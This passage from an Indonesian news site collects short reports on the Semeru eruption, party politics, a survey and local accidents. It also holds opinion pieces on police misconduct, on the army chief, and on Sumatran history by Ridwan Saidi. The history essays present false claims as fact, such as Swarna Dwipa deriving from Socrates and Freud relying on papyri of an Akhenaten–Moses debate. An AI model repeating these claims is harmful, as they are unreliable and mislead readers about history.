dengan perikemanusiaan dan peri-keadilan. Pada kesempatan itu Hidayat juga menyoroti tugas dan fungsi MPR melaksanakan Sosialisasi Empat Pilar MPR RI karena setiap warga negara berhak mengikuti sosialisasi, terlepas dari apapun agama, ras dan asal usulnya. "Karena dengan ikut sosialisasi, masyarakat jadi tahu dan paham mengenai dasar dan ideologi negara dan konstitusi tertinggi di Indonesia. Dengan begitu masyarakat bisa ikut mengawasi praktek berbangsa dan bernegara dan turut melempangkannya jika ada yang membelok dari yang seharusnya," ujarnya. (sws)

Anggota DPR Minta Polri Tambah Personel Bantu Korban Letusan Semeru

Jakarta, FNN - Anggota Komisi III DPR RI Andi Rio Idris Padjalangi meminta Kapolri Jenderal Listyo Sigit Prabowo segera menambah jumlah personel untuk membantu dan mengamankan masyarakat yang terkena letusan atau awan panas guguran Gunung Semeru (3676 mdpl) di Lumajang, Jawa Timur. "Kapolri harus bertindak cepat dan proaktif membantu masyarakat terkena dampak erupsi Gunung Semeru, Kapolri harus menambah jumlah personel dan menempatkan Tim Kedokteran dan Kesehatan (Dokkes) Polri," kata Andi Rio dalam keterangannya di Jakarta, Senin. Dia juga menilai, jika perlu Polri mendirikan dapur umum sehingga jangan sampai masyarakat tidak mau mengungsi karena takut akan kehilangan harta bendanya. Andi Rio berharap masyarakat untuk tidak melakukan aktivitas dalam radius tertentu sebelum adanya pemberitahuan status aman Gunung Semeru dari pihak yang berwenang dan terkait. Hal itu menurut dia untuk menjaga keselamatan jiwa dari bahaya awan panas guguran Gunung Semeru yang sampai saat ini masih menyemburkan material kecil. "Aparat kepolisian harus berjaga di titik tertentu, namun tetap harus memperhatikan keselamatan jiwa. Jangan sampai masih ada masyarakat yang diam di rumah dan tidak mau mengungsi ke titik yang aman," ujarnya. Wakil Ketua Mahkamah Kehormatan Dewan (MKD) DPR RI itu meminta Kapolri bersama pemangku kepentingan dan pihak terkait lain dapat saling membantu serta melakukan komunikasi dan kordinasi dengan baik dalam penanganan bencana alam awan panas guguran Gunung Semeru. Langkah itu menurut dia agar tidak ada tumpang tindih dalam melakukan tugas pokok dan fungsinya membantu masyarakat yang terdampak awan panas guguran Gunung Semeru. "Harus cepat tertangani dan tepat sasaran, jangan ada masyarakat yang kelaparan dan tidak memiliki pakaian serta tempat pengungsian yang layak, tenda darurat atau titik pengungsian harus layak. Jangan sampai masyarakat yang mengungsi justru tidak nyaman dan akhirnya balik ke rumah masing masing," ucap dia. (sws)

Ketua FPKS Ajak Potong Gaji Bantu Korban Letusan Gunung Semeru

Jakarta, FNN - Ketua Fraksi PKS DPR RI Jazuli Juwaini mengajak seluruh anggota legislatif PKS dari pusat hingga daerah untuk memotong gaji membantu korban letusan Gunung Semeru. "Saya pribadi menyerahkan gaji bulan Desember untuk membantu masyarakat korban letusan Gunung Semeru. Kami juga mengajak seluruh aleg (anggota legislatif) PKS dari pusat hingga daerah untuk potong gaji, mudah-mudahan dalam waktu dekat terealisir dan bisa disampaikan segera," kata Jazuli dalam keterangannya di Jakarta, Senin. Jazuli juga mengajak seluruh elemen masyarakat Indonesia dimanapun berada bergerak membantu korban bencana dengan cara dan kemampuan masing-masing sebagai bentuk solidaritas sosial nasional. Menurut dia, FPKS akan terus mendukung bantuan salah satunya dengan kembali mendonasikan gaji dewan bulan Desember untuk korban bencana Gunung Semeru. "Atas nama Fraksi PKS kami ucapkan duka cita dan keprihatinan mendalam atas musibah meletusnya Gunung Semeru. Semoga korban jiwa meninggal segera dapat dievakuasi, keluarga dan masyarakat diberikan kesabaran dan ketabahan," ujarnya. Dia mengatakan, struktur dan kader PKS telah turun di kesempatan pertama di lokasi bencana untuk membantu proses evakuasi dan tanggap darurat. Selain itu, Jazuli berharap Pemerintah bergerak cepat menangani bencana letusan Gunung Semeru terutama dalam mengevakuasi warga masyarakat di lokasi terdekat dengan Gunung Semeru. "Kami berharap Pemerintah, BPBD dan BNPB, bergerak cepat, sistematis, dan koordinatif untuk menyelamatkan warga masyarakat. Jangan sampai ada hambatan teknis koordinasi antara pemerintah pusat dan daerah karena keselamatan korban adalah prioritas utama saat ini," ujarnya. Menurut dia, mitigasi dan penanganan korban jiwa harus dilakukan secara koordinatif dan sistematis agar dapat menyelamatkan banyak nyawa masyarakat. (sws)

NasDem Surabaya Targetkan 10 Kursi di Pemilu 2024

Surabaya, FNN - Dewan Pimpinan Daerah Partai Nasional Demokrat (NasDem) Kota Surabaya, Jawa Timur, menargetkan 10 kursi DPRD di Pemilihan Umum Legislatif 2024. Ketua DPD NasDem Surabaya Robert Simanggunsong di Surabaya, Senin mengatakan, NasDem Surabaya menargetkan dua kursi setiap daerah pemilihan (dapil). "Sampai saat ini Surabaya masih lima dapil. Jadi kami targetkan 10 kursi. Bila kemudian ada pemekaran dapil maka akan menyesuaikan," ujarnya. Untuk itu, lanjut dia, pihaknya menyiapkan sejumlah strategi, salah satunya menguatkan struktur anggota partai di tingkat kelurahan. Nantinya akan ada 55 kader di setiap kelurahan. Total 8,470 anggota yang siap mengawal di 154 kelurahan. Selain itu, DPD NasDem Surabaya juga akan menerjunkan dua kader di setiap tempat pemungutan suara (TPS). Diperkirakan ada sebanyak 20.000 kader partai akan disebar di 10.000 TPS. "Setiap wakil ketua di DPD juga harus memiliki jejaring di sosial media yang diikuti oleh minimal 200 orang," katanya. Saat ini, lanjut dia, pihaknya punya 19 wakil ketua, belum termasuk wakil ketua sekretaris dan bendahara di tiap-tiap bidang. "Kalau dihitung totalnya 50 orang, tinggal dikalikan saja berarti ada 10 ribu nantinya," kata Robert. Tidak hanya itu, lanjut dia, NasDem Surabaya juga mulai memanasi mesin politiknya dengan menggelar pendidikan politik secara bertahap. Pendidikan politik pertama digelar pada Minggu (5/12) dengan diikuti oleh seluruh anggota DPD, Dewan Pimpinan Cabang (DPC), dan organisasi sayap. "Selain memperkuat strategi, pendidikan politik juga sebagai bentuk penguatan struktur partai dalam rangka pemenangan Pemilu 2024," ujarnya. NasDem Surabaya menggandeng Dekan Fakultas Ilmu Sosial dan Ilmu Budaya (FISIB) Universitas Trunojoyo Madura Surokim Abdussalam sebagai pemateri dalam pendidikan politik kali ini. (sws)

Stafsus Presiden: Kepuasan Publik Picu Pemerintah Kerja Lebih Giat

Jakarta, FNN - Staf Khusus Presiden Aminuddin Maruf mengatakan hasil survey lembaga Indikator Politik yang menyebutkan terjadi peningkatan kepuasan publik atas kinerja pemerintah akan memicu pemerintah untuk bekerja lebih giat. "Tentu kita mengapresiasi hasil tersebut. Namun, hal itu tidak membuat kita puas, justru memicu agar kami bekerja dengan keras agar bisa berbuat lebih banyak lagi untuk masyarakat," kata Amin dalam keterangan tertulis di Jakarta, Senin. Amin mengatakan generasi "baby boomers" (masyarakat berusia 57 tahun ke atas) menunjukkan kepuasan atas kinerja pemerintah. Begitu juga dengan responden generasi milenial (usia 20-40 tahun) yang lebih dari 60 persen menunjukkan kepuasan atas kinerja pemerintah. "Kepuasan dari generasi milenial menjadi gambaran program-program yang dilakukan pemerintah disambut baik oleh mereka. Ini patut kita syukuri dan tingkatkan," katanya. Mantan Ketua Umum Pengurus Besar Pergerakan Mahasiswa Islam Indonesia (PMII) ini juga bersyukur dengan respon positif masyarakat terhadap upaya pemerintah dalam mengatasi pandemi COVID-19, dengan menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). "Pandemi COVID-19 tentu saja berat bagi semua pihak, kesabaran semua pihak diuji, agar kita bisa melewati semua ujian ini bersama-sama, pemerintah dan masyarakat, tidak bisa pemerintah sendirian," ujarnya. Dia berharap ancaman gelombang ketiga pandemi COVID-19 dengan mulai merebaknya varian Omicron tidak membuat semua pihak panik, tapi tetap menjaga kewaspadaan dan memperketat protokol kesehatan. "Dengan bersatunya pemerintah dan masyarakat dalam menghadapi ancaman gelombang ketiga ini, saya Insya Allah yakin kita bisa melewatinya. Saya berharap generasi 'millenials' menjadi garda terdapat dalam taat protokol kesehatan, agar kita semua bisa selamat melewati fase ini," katanya. Indikator Politik Indonesia pada Minggu mengungkapkan tingkat kepuasan publik (approval rating) terhadap kinerja Presiden Joko Widodo (Jokowi) mencapai 72 persen atau tertinggi selama pandemi COVID-19. "Tingkat kepuasan publik terhadap Jokowi meningkat tajam dari 59 persen pada Agustus 2021 menjadi 72 persen di November 2021," kata Direktur Eksekutif Indikator Politik Indonesia Burhanuddin Muhtadi menjelaskan hasil surveinya. Kenaikan kepuasan publik terhadap kinerja Jokowi tersebut pertama kalinya terjadi. Sebab, sejak pandemi atau selama dua tahun berturut-turut kepuasan publik terhadap kinerja Presiden selalu mengalami penurunan. Survei Indikator Politik Indonesia dilaksanakan pada 2 hingga 6 November 2021 dengan melibatkan 2.020 responden yang meliputi sampel basis 1.220 dan 'oversample' 800 yang telah memiliki hak pilih serta menggunakan metode "multistage random sampling". Rata-rata simpangan ("margin of error") hasil penelitian tersebut sekitar 2,9 persen dengan tingkat kepercayaan 95 persen. (sws)

Dua Remaja Tewas Tertimpa Rumah Walet di Kendawangan

Pontianak, FNN - Dua remaja berinisial YD (15) dan RIS (13) meninggal ditimpa rumah walet di Dusun Sungai Gantang, Desa Mekar Utama, Kecamatan Kendawangan, Kabupaten Ketapang, Minggu (5/12). "Kejadian sekira pukul 16.15 WIB," ungkap Kapolres Ketapang, AKBP Yani Permana SIK MH di Ketapang, Kalbar, Senin. Saat kejadian cuaca di lokasi kejadian sedang hujan lebat disertai angin kencang dan enam remaja sedang berteduh di teras rumah walet tersebut. Kapolsek Kendawangan, Iptu Indrawan SIK menjelaskan berdasarkan keterangan saksi korban, Agus (16). Menurutnya, Agus mengaku sedang bersama lima orang lainnya singgah berteduh di rumah walet itu. Lantaran pada saat itu sedang hujan lebat disertai angin kencang. Sesaat kemudian tiba-tiba bangunan tersebut roboh dan menimpa keenam remaja tersebut. "Rumah walet yang diketahui milik warga bernama Usu Jeri di Dusun Sungai Gantang. Warga sekitar dan pengendara yang melintas di lokasi kejadian kaget dan langsung bergegas membantu para korban," tutur Kapolsek. Dari keenam korban yang tertimpa, dua meninggal di lokasi kejadian sedangkan empat lainnya luka-luka. Anggota Polsek yang menerima laporan langsung menuju ke lokasi kejadian dan mengevakuasi para korban untuk dibawa ke Puskesmas Kendawangan. Selanjutnya petugas mengamankan tempat kejadian dan meminta keterangan beberapa saksi yang mengetahui langsung kejadian itu. Kemudian dua korban meninggal langsung dibawa pihak keluarga ke rumah duka. Sedangkan empat korban yang mengalami luka berat dan luka ringan masih menjalani perawatan intensif di Puskesmas Kendawangan. (sws)

Lika-Liku Kelakuan Polisi

Polisi menjadi garda terdepan dalam menangani kejahatan di masyarakat. Slogannya indah sekali: siap melayani masyarakat. Akan tetapi tak jarang justru polisi menjadi pelaku kejahatan itu sendiri. Oleh Sri Widodo Soetardjowijono Dalam sebulan terakhir, banyak sekali kasus kejahatan yang justru dilakukan oleh aparat kepolisian. Riset sederhana menggunakan mesin pencari google, akan diperoleh data pemberitaan yang sungguh mencengangkan. Jika kita gunakan kata kunci “Polisi Selingkuh” akan diperoleh hasil sebanyak 7.400.000 kalimat, “Polisi Setubuhi” akan menghasilkan 1.190.000 kalimat, “Polisi Zinahi” akan menampilkan 2.630 kalimat, “Polisi Bekingi” langsung terlihat 196.000 kalimat, “Polisi Mabuk” ada 5.230.000 kalimat, dan “Polisi Penadah” akan muncul 384.000 kalimat. Kasus terbaru adalah bunuh diri mahasiswi yatim Universitas Brawijaya Malang, Jawa Timur, Novia Widyasari Rahayu (23). Ia menenggak racun sehingga meninggal dunia di dekat makam ayahnya di Dusun Sugihan, Desa Japan, Kecamatan Sook, Mojokerto pada Kamis (2/12/2021). Kasus meninggalnya Novi melibatkan seorang anggota Polres Pasuruan, Bripda Randy Bagus Hari Sasongko. Novia sebelumnya pernah menjalani aborsi sebanyak dua kali bersama Randy. Sebelumnya ada kasus yang sungguh memiriskan, yakni polisi yang ramai-ramai menyetubuhi istri tahanan narkoba. Ada delapan anggota polisi Polsek Kutalimbaru Medan Sumatera Utara yang melakukan pemerasan dan menyetubuhi istri tahanan tersebut. Maklum sang istri tahanan memang terlihat cantik dan masih berusia 19 tahun. Saat disetubuhi bergiliran, wanita tersebut masih hamil tua. Kedelapan polisi bejat itu tidak langsung dipecat. Mereka hanya diberi sanksi ringan pelanggaran etik. Sidang etik dipimpin Wakapolrestabes Medan, AKBP M. Irsan Sunuaji. Kedelapan oknum polisi tersebut, antara lain mantan Kanit Reskrim Polsek Kutalimbaru, penyidik pembantu yang menangani kasus tersebut, dan enam orang personel yang melakukan penangkapan. Masing-masing yang diperiksa berkasnya berbeda, sesuai dengan kesalahan yang dilakukan. Kepada mantan Kanit Reskrim Polsek Kutalimbaru, dan penyidiknya itu kita jatuhi hukuman mutasi bersifat demosi pindah tidak menjabat lagi. Selanjutnya penundaan pendidikan selama satu tahun, dan penundaan gaji berkala. Sementara enam oknum polisi yang bertugas melakukan penangkapan, disanksi mutasi bersifat demosi, dengan dipindah dari Polsek Kutalimbaru, dan keluar dari reserse. Lalu penundaan pendidikan selama setahun, dan penempatan khusus selama 14 hari. Nantinya para anggota polisi yang bermasalah ini akan dilakukan pengawasan selama enam bulan, dan barulah akan berdinas kembali di tempat yang baru. Sanksi yang dijatuhkan terhadap pelaku pencabulan, bisa berupa demosi, penundaan pangkat, penundaan gaji atau pemecatan. Seluruh personel yang menjalani sidang tersebut, akan menjalani hukumannya dan akan ada proses pengawasan selama enam bulan. Di Jember, Jawa Timur lain lagi. Polisi menzinahi ES, istri salah satu tahanan di rumah Kapolsek Patrang, Jember. Pelakunya Kapolsek sendiri AKP MT. Sementara sang suami sedang berada di Lapas Denpasar Bali. Pelaku terbukti melakukan tindakan asusila terhadap ES, setelah melakukan pemeriksaan saksi-saksi dan melakukan tes kebohongan (lay detector). Dari keterangan Kapolres Jember AKBP Awang Joko Rumitro di Mapolres Jember, diketahui bahwa Kapolsek MT telah melakukan perzinaan dengan korban, bukan pemerkosaan seperti laporan korban, sehingga AKP MT tetap dikenai sanksi dan pemberian sanksi itu melalui sidang di Propam Polda Jatim hingga keputusan tetap dari Kapolda Jatim yakni dinonaktifkan dari jabatannya sebagai Kapolsek dan ditarik ke Polres Jember. ES adalah istri Lamrayani yang tengah menjalani masa tahanan di Lapas Bali karena kasus 365 KUHP, tentang pencurian dan kekerasan. Peristiwa itu terjadi Januari 2011 lalu. Pengakuan ES, dirinya diminta suaminya untuk mendatangi Kapolsek Patrang AKP MT. Kebetulan AKP MT juga menjabat Ketua Paguyuban Keluarga Sulawesi Selatan di Jember. ES mau meminjam uang kerukunan kas dari keluarga paguyuban sebesar Rp 2 juta. Setibanya di rumah M, ES diminta untuk menaruh anaknya yang sedang tidur di dalam kamar M. Setelah anaknya ditaruh, M kemudian mengajak ES untuk mengobrol di ruang tamu. Setelah menyampaikan amanah suaminya, ES kemudian berdiri untuk mengambil anaknya di dalam kamar M. Namun, tiba-tiba ES didorong dan dipeluk M. Di sana dia mengaku diperkosa Kapolsek tersebut. ES mengaku diperkosa dalam kamar di rumah Kapolsek Patrang AKP MT. Wanita ini juga mengaku disekap 10 jam dan diperkosa hingga empat kali oleh MT. Hingga akhirnya sekitar pukul 04.30 WIB, ES diantar pulang oleh M. Perwira polisi itu mengancam ES untuk tidak melapor. Pasca-kejadian itu, ES mengaku takut melaporkan kepada pihak kepolisian. Saat suaminya bebas dari penjara, ES kemudian menceritakan kejadian yang dialaminya. Mendengar cerita istrinya, Lamrayani langsung melaporkan ke Polres Jember pada bulan April 2012. Kasus ini mangkrak bertahun-tahun, tanpa penyelesaian. Awalnya polisi menyebut kasus ini tak memiliki bukti kuat. Sebabnya dua saksi yang diajukan ES tak bisa memberi keterangan. Saksi pertama adalah Her, karyawan ES. Yang kedua tukang ojek bernama Ismail yang mengantarkan ES ke rumah Kapolsek. AKP MT bersikeras tak pernah memperkosa ES. Polisi menyebut malah MT akan melaporkan balik ES dengan pasal pencemaran nama baik. Polres Jember terus melakukan pemeriksaan pada AKP MT. Hasilnya, MT terbukti melakukan tindakan asusila pada ES. Polisi menyebut mereka berdua berzinah. "Memang ada persetubuhan yang dilakukan layaknya suami-istri, hanya saja bukan perkosaan, namun unsurnya perzinahan," kata Kapolres Jember AKBP Awang Joko Rumitro di Mapolres Jember, Selasa (12/11/2021). AKBP Awang mengambil tindakan tegas pada AKP MT. Perwira pertama ini dinonaktifkan sebagai Kapolsek dan dimutasi ke Polres, tanpa jabatan. Kini AKP MT masih diperiksa lebih lanjut di Propam Polda Jatim dan menunggu sidang profesi. Lagi, kasus asusila dilakukan oleh aparat kepolisian di wilayah hukum Pati, Jawa Tengah. Seorang anggota polisi di Kabupaten Pati, Jawa Tengah, dilaporkan ke Propam Polda Jateng terkait kasus perselingkuhan. Laporan bernomor STPL/89/VIII/2021/Yanduan ini dilakukan oleh pelapor, Sukalam (41). Ia tidak pernah menduga jika kepergiannya untuk mencari nafkah di Jepang berujung bencana. Pasalnya, 5 tahun bekerja di Jepang, ia harus menerima kenyataan bahwa istrinya malah berselingkuh dengan seorang oknum anggota polisi berpangkat Bripka yang bertugas di Polsek Cluwak, Pati, Jawa Tengah. Kapolres Pati AKBP Christian Tobing akhirnya menindak sesuai prosedur yang berlaku, jika anggotanya terbukti melakukan tindakan asusila. Ia menyebut, setiap pelanggar Standar Operasional Prosedur (SOP) di tubuh Polres Pati, bakal mendapatkan sanksi yang berat. "Di Polres Pati setiap pelanggaran yang dilakukan oleh anggota tentunya akan mendapatkan punishment. Kita proses dan segera menjatuhkan hukuman sesuai aturan yang ada," tuturnya. Ia pun mengimbau kepada seluruh jajaran Polres Pati agar selalu menjunjung tinggi peraturan yang ada. Termasuk menghindari perilaku yang dapat menciderai institusi kepolisian. "Himbauan kepada seluruh anggota agar dalam melaksanaan tugas mematuhi SOP. Kemudian tidak melakukan hal-hal yang dapat menimbulkan kerugian bagi institusi Polri maupun bagi dirinya sendiri. Selain itu, agar anggota polisi tetap menjaga etika dan perilaku sesuai janji dan sumpah sebagai prajurit ataupun anggota Kepolisian Republik Indonesia," pesannya. Citra Polri dengan kisah perselingkuhan tak pernah habis. Kinerja Korps Bhayangkara yang sejatinya menjadi teladan, justru membawa kesan negatif. Apalagi wanita yang jadi selingkuhan adalah seorang Polisi Wanita atau Polwan. Kasus perselingkuhan ini dilakukan Iptu DIL, Kasat Reskrim Polres Serdang Bedagai, Sumatera Utara. Meski sudah memiliki istri, tapi menjalin hubungan dengan wanita lain berpangkat Ipda. Kasus terkuak usai istri dari Iptu DIL melaporkan suaminya ke Bidang Profesi dan Pengamanan (Propam) Polda Sumut. Polisi “makan” Polwan juga terjadi di Riau. Kepala Bagian Pembinaan Karier (Kabag Binkar) Polda Riau AKBP Daniel berselingkuh dengan istri bawahannya. Alhasil ia harus menjalani sidang disiplin Polri, serta dicopot dari jabatannya. Kasus ini mencuat pada 2015. AKBP D terbukti melakukan hubungan gelap dengan seorang Inspektur Polisi Dua berinisial RT. Polwan itu sendiri merupakan istri junior dari AKBP D yang bertugas di Polresta Pekanbaru. Selain pembebasan tugas dari jabatannya, sekarang AKBP D juga diberi sanksi berupa penundaan kenaikan pangkat selama setahun dan diberi teguran secara tertulis. Selain itu ada kasus AKBP Bambang Widjanarko, yang dicopot dari jabatan Kapolres Pangkep. Dia dituduh selingkuh dengan seorang Polwan. Wanita berinisial ENS itu merupakan Perwira Pertama yang bekerja sebagai staf Polres Pangkep jabatan kepala unit. Keduanya dikabarkan kerap pergi bersama di malam hari. Dugaan perselingkuhan AKBP BW dengan ENS telah diproses oleh Bidang Profesi dan Pengamanan Polda Sulawesi Selatan. Karena tak bisa menjadi teladan pemimpin dan melanggar disiplin, BW pun resmi dikeluarkan dari Mabes Polri. Berdasarkan Surat Telegram Rahasia (STR) Kapolri Nomor ST / 1679 / VII / KEP. / 2018. Polisi “indehoi” dengan Polwan dilakukan oleh seorang perwira Polda Maluku Utara berpangkat Ajun Komisaris Besar Polisi (AKBP) dengan isnisial SS. Dia menjalin kasih dengan Polwan berpangkat Bripka dengan inisial R. Kasus mencuat usai pasangan sah dari kedua orang tersebut melapor. Hingga akhirnya diproses oleh Bidang Profesi dan Pengamanan (Bid Propam) maupun Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Malut. Dua sejoli itu terancam menerima sanksi Pemberhentian Tidak Dengan Hormat (PTDH). "Masing-masing yang diperiksa berkasnya berbeda, sesuai dengan kesalahan yang dilakukan. Kepada mantan Kanit Reskrim Polsek Kutalimbaru, dan penyidiknya itu kita jatuhi hukuman mutasi bersifat demosi pindah tidak menjabat lagi. Selanjutnya penundaan pendidikan selama satu tahun, dan penundaan gaji berkala," kata Irsan Sinuhaji dikutip Inews.id. Perselingkuhan merupakan perbuatan yang tak terpuji dan sudah jelas melanggar kode etik di institusi keploisian. Polisi menjadi beking kejatahan juga banyak terjadi. Baru-baru ini Polda NTB menindak disiplin oknumnya Briptu IMP yang diduga menodongkan pistol saat menagih utang bersama debt collector. Briptu IMP menodongkan senjata saat menjemput debitur perusahaan pembiayaan di Kantor Desa Bagik Polak, Labuapi, Lombok Barat Jumat, 24 September 2021. Korban saat itu sedang melaksanakan pengkaderan organisasi mahasiswa. Korban kemudian diseret dari lokasi pertemuan. Korban menolak. Pada saat itu lah dia ditodongi pistol sambil diancam akan ditembak apabila terus menolak. Korban akhirnya manut dengan syarat didampingi temannya. Briptu IMP sudah diperiksa Propam Polda NTB. Hasilnya, pistol yang dipakai untuk menakuti korban penagihan utang debt collector merupakan pistol mainan. “Pistol korek api. Mainan. Walaupun begitu, kami tetap akan menindak tegas dan menghukum oknum anggota ini,” jelas Artanto. Bidpropam, sedang menuntaskan proses pemeriksaan. Hasil sementara, Briptu IMP bakal dibawa ke sidang disiplin terkait dugaan pelanggaran tersebut. “Dari sidang itu nanti akan dijatuhkan sanksinya sesuai berat kesalahannya,” tutupnya. Polisi terlibat dalam minuman keras juga tak kalah heboh. Atas kebiasaannya mabuk-mabukan seorang anak, NPM (7) terkena peluru nyasar di rumahnya, Desa Hulawa, Kecamatan Telaga, Kabupaten Gorontalo, Rabu (1/12) dini hari. Peluru tersebut diduga kuat milik anggota Polres Gorontalo Utara, Bripka MW, yang menembak ke udara saat dalam pengaruh minuman beralkohol. Kabid Humas Polda Gorontalo, Kombes Wahyu Tri Cahyono menegaskan saat ini pihaknya tengah mendalami proyektil peluru yang melukai bocah melalui pemeriksaan Laboratorium Forensik. Tak kalah heboh, polisi meenjadi penadah barang curian. Satuan Reserse Kriminal (Satreskrim) Polres Purbalingga, Jawa Tengah, berhasil mengungkap kasus pencurian spesialis mobil pikap lintas provinsi. Empat tersangka berhasil diamankan di mana dua orang merupakan pelaku utama dan dua orang sebagai penadahnya. Dua pelaku utama pencurian yaitu SO (34), warga Desa Jatinegara, Kabupaten Tegal, dan PJ (43) warga Desa Karangtengah, Kecamatan Kertanegara, PurbaIingga. Sementara penadah barang curian yaitu RH (60), warga Kelurahan Tugu Utara, Kecamatan Koja, Jakarta Utara dan SL (33) warga Desa Cisayong, Kabupaten Tasikmalaya. Satu tersangka penadah merupakan mantan anggota Polri yang sudah diberhentikan. Dari para tersangka diamankan sejumlah barang bukti di antaranya kunci letter T, sepeda motor, helm, pakaian yang dipakai saat beraksi, ponsel, pretelan onderdir mobil seperti setir, bak mobil, gardan, dan rangkaian kabel bodi mobil. Kepada pelaku utama dikenakan Pasal 363 ayat (1) ke-3 dan ke-5 KUHP tentang Pencurian dengan Pemberatan. Ancaman hukumannya maksimal tujuh tahun penjara. Sedangkan untuk penadah dikenakan Pasal 480 ke-1 dan ke-2 KUHP dengan kurungan penjara maksimal empat tahun. (Dari berbagai sumber).

Dudung Itu Prajurit atau Politisi?

By M Rizal Fadillah Kondisi Papua memprihatinkan, KKB telah menyerang dan membakar berbagai fasilitas seperti pos TNI, Puskesmas, pabrik, sekolah, rumah penduduk, dan lainnya. Tercatat 13 prajurit gugur sementara klaim kelompok separatis 17 TNI ditembak dan terakhir dua personal lagi. KKB seperti di atas angin untuk melakukan teror, perusakan dan pembunuhan. KKB Papua ini sesungguhnya telah memenuhi kualifikasi sebagai pemberontak, teroris, maupun kelompok separatis. Perlawanan dan penindakan negara pada kelompok pemberontak, teroris, dan separatis ternyata lunak alias lembek. KSAD Jenderal Dudung Abdurrahman diolok-olok publik karena menganggap para pemberontak bersenjata itu adalah saudara yang harus dirangkul. Seperti tidak peduli dengan korban yang berjatuhan baik dari warga maupun prajurit. Sikap lembek Dudung berbanding terbalik dengan marah dan kerasnya terhadap tokoh umat Islam. Sekedar baliho saja diobrak-abrik seperti melawan musuh yang berbahaya. Terkesan ada dendam politik yang menjadi motif Islamophobia. Ungkapan dan pandangan keagamaannya pun aneh untuk tidak disebut dangkal. Jenderal Dudung meski KSAD atau sebelumnya Pangkostrad lebih menampilkan diri sebagai sosok politisi ketimbang prajurit. Soal persaudaraan dan rangkulan KKB Papua adalah kompetensi pemangku kewenangan politik. Prajurit itu seharusnya bertempur apalagi mereka adalah pemberontak, teroris, atau separatis. Musuh negara. Prajurit bersumpah di samping setia kepada NKRI berdasarkan Pancasila dan UUD 1945 juga tunduk kepada hukum dan memegang teguh disiplin keprajuritan. Bagian dari Sapta Marga adalah menjadi ksatria yang bertakwa kepada Tuhan YME membela kejujuran, kebenaran, dan keadilan. Mengutamakan keperwiraan dalam melaksanakan tugas serta siap sedia berbakti pada negara dan bangsa. Prajurit jika berhadapan dengan musuh pilihannya hanya dua "kill or to be killed". Jati diri prajurit TNI itu adalah pejuang dan profesional. Bukan ber-akting di luar profesinya mencari perhatian merambah kesana kesini. Masalah keagamaan diumbar dan disabotnya. Ngaco lagi. Berhadapan dengan pemberontak, teroris dan separatis jiwa prajurit harus "mendidih darah" untuk memerangi dan bertempur secara ksatria. KSAD mendorong dan menjaga spirit tempur jajaran di bawahnya. Seperti macan yang siap memangsa. Hanya keputusan politik yang dapat mengerem. Janganlah komandan tempur bersikap seperti politisi. Mengendalikan dan mengendurkan semangat tempur prajurit. Berdiplomasi belat belit. Dudung Abdurrahman sebagai komandan dibaca mengalami "split personality" antara prajurit dan aktivis politik. Bahkan seperti petugas partai. 13 prajurit ditembak, Mayor Jenderal di antaranya, masih menganggap pembunuh sebagai saudara yang harus dirangkul. Memang cerita bapak Dudung selalu berkesinambungan. Mungkin profil politisi lebih cocok baginya ketimbang sebagai prajurit yang mendahulukan sikap ksatria siap tempur. Diam tetapi mematikan. Bukan ribut banyak omong yang hanya membuat gaduh. Sangat tegas dan berani ketika melawan Baliho tapi takut melawan Egianus Kogoya, Elkius Kobak dan konco-konco. *) Pemerhati Politik dan Kebangsaan Bandung, 6 Desember 2021

Cuma Terra, Sumatera, Bukan Swarna Dwipa

Oleh Ridwan Saidi *) Burusa, atau Barus, muncul dalam peta di buku Claudius Ptelomeus, Geographia, 161 M. Berarti termasuk sebagian Sumatera dipetakan juga dimana Barus berada. Barus menjadi tujuan orang Egypt mencari rempah-rempah untuk membalsem jenasah pada XIII SM . Egypt sendiri berarti negara Tuhan. Time line perjalanan diukur dari awal pembalseman jenasah pada era Pharao Rameses II pada XIII M. Rameses II mencari bentuk teologinya setelah ia menolak paham pharao yang digantikannya yang berpaham monotheism yaitu Akhenaton. Tapi seperti dihurai Sigmund Freud dalam bukunya Mosses and Monotheism, 1937, paham teologi Akhenaton beda dengan Mosses. Uraian Freud berdasar pada ribuan lembar papyrus yang ditemukan di delta sungai Nil 1887, yang ternyata risalah debat Akhenaton vs Mosses. Barus menjadi tempat yang akrab dikunjungi oleh bangsa-bangsa sekitar Egypt termsuk Greek. Orang Greek ini yang memberi nama Cuma Terra, tanah yang mulia. Dan kelak menjadi peta navigasi, then legalized. Dalam lidah Andunisi menjadi Sumatera. Beberapa sejalok/sejarawan lokal mengusung-usung nama Swarna Dwipa, yang katanya pulau Emas. Swarna Dwipa ungkapan yang berasal dari Socrates, 469-399 SM. Swarna itu circle pola obat nyamuk bakar tapi garis diputar ke kanan. Ini disebut geometri crawl. Mengandung energi. Kalau putaran arah sebaliknya, ke kiri, hampa energi. Pola geometri ini disebut rotary. Crawl geometri yang disucikan di banyak bangsa, karena itu dalam proses membuat crawl harus dibantu Dwipa, pencahayaan. Memahami istilah jangan main tebak-tebakan, ya Pak ya. Sumatera kaya emas. Kelana yang datang untuk mas pada abad II M adalah Queen of Sheba dari Axumite, Afro, ini berdasar penelitian Giovanni XV M yang didukung Raffles. Apa Mayor power system pertama dan tertua di Sumatera? Itulah Samudra Pasai yang didirikan oleh Merah Silu atau Malikus Saleh pada XIII M. Samudra Pasai mengeluarkan koin emas pada abad itu. Time line jelas dan berdasar. *) Budayawan

Sanak Saudara Kita: Lingon, Togutil, Talang Mamak, dan Lainnya

Oleh Ridwan Saidi *) Gadis suku Togutil di pedalaman Halmahera Timur ada yang masuk Islam. Mereka ras Caucasoid, sebagaimana Lingon yang bermata biru, rambut pirang, kulit bule (lihat foto). Mata biru Lamno di Aceh dan suatu komunitas di Buton berdiam di kota. Mata biru bukan gen Portugis seperti ditebak-tebak sejarawan. Migran menyingkir biasanya karena konflik dengan native. Ada pun migran Portugis urban society yang berdiam di zona ekonomi. Mereka tidak ke desa, apalagi pedalaman. Suku Talang Mamak di Indra Giri Ulu, juga suku Sakai, suku Anak Dalam, Jambi, adalah Melayu. Bahkan Talang Mamak merujuk muasalnya dari Pagaruyung. Mereka berpegang pada tradisi dan adat. Di antara mereka juga sudah banyak yang berIslam. Menelusuri suku pedalaman Sumatera dapat dipastikan tidak bersua jejak Budha dalam keseharian mereka. Kalaulah benar klaim George Coedes, Perancis, bahwa kerajaan Sriwijaya VII M, sekarang diganti kedatuan, menguasai tiap jengkal tanah Sumatera, buktikan apakah dalam tradisi suku-suku pedalaman Sumatera ada jejak Budhism? Jangan main 